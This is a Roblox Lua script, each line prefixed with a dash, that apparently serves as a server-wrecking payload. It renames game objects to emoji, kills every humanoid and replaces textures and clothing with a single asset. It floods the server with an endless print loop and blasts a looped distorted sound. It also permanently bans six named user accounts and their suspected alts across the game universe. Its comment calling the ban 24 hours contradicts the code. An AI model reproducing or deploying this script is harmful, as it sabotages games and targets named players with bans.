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- local text = '😍🥵'
- _G.valid = {'benjikad','bushbushboi12345','yoopery','Stoomie','Mrgesmask','theKing_Crusty'}
- local items = {
- TextLabel = function(v)
- v.Text = text
- end,
- TextButton = function(v)
- v.Text = text
- end,
- Tool = function(v)
- v.Name = text
- end,
- Player = function(v)
- local c = v.Character
- if c then
- c.Archivable = true
- c.Name = text
- end
- end,
- Team = function(v)
- v.Name = text
- end,
- Model = function(v)
- local hum = v:FindFirstChildOfClass('Humanoid')
- if hum then
- v.Name = text
- hum.Health = 0
- end
- end,
- Decal = function(v)
- v.Texture = 'rbxassetid://85320321741633'
- end,
- Texture = function(v)
- v.Texture = 'rbxassetid://85320321741633'
- end,
- Shirt = function(v)
- v.ShirtTemplate = 'rbxassetid://85320321741633'
- end,
- Pants = function(v)
- v.PantsTemplate = 'rbxassetid://85320321741633'
- end,
- }
- spawn(function()
- for i,v in pairs(workspace:GetDescendants()) do
- local item = items[v.ClassName]
- if item then pcall(item,v) end
- end
- for i,v in pairs(game:GetService('Players'):GetDescendants()) do
- local item = items[v.ClassName]
- if item then pcall(item,v) end
- end
- for i,v in pairs(game:GetService('Teams'):GetDescendants()) do
- local item = items[v.ClassName]
- if item then pcall(item,v) end
- end
- end)
- spawn(function()
- while wait() do
- for i=1,10000000000 do
- print(string.rep('hi',math.random(1,1000)))
- end
- end
- end)
- local sound = Instance.new('Sound',game:GetService('SoundService'))
- sound.SoundId = 'rbxassetid://85271883712040'
- sound.Volume = 10
- sound.Looped = true
- local dist = Instance.new('DistortionSoundEffect',sound)
- dist.Level = 1
- sound:Play()
- for i,v in _G.valid do
- local id = game:GetService('Players'):GetUserIdFromNameAsync(v)
- local c = {
- UserIds = { id },
- Duration = -1, -- 24‑hour ban; use -1 for permanent
- DisplayReason = "STOP",
- PrivateReason = '',
- ExcludeAltAccounts = false, -- default: bans suspected alts
- ApplyToUniverse = true,
- }
- -- Attempt to ban
- local ok, err = pcall(function()
- game:GetService("Players"):BanAsync(c)
- end)
- end
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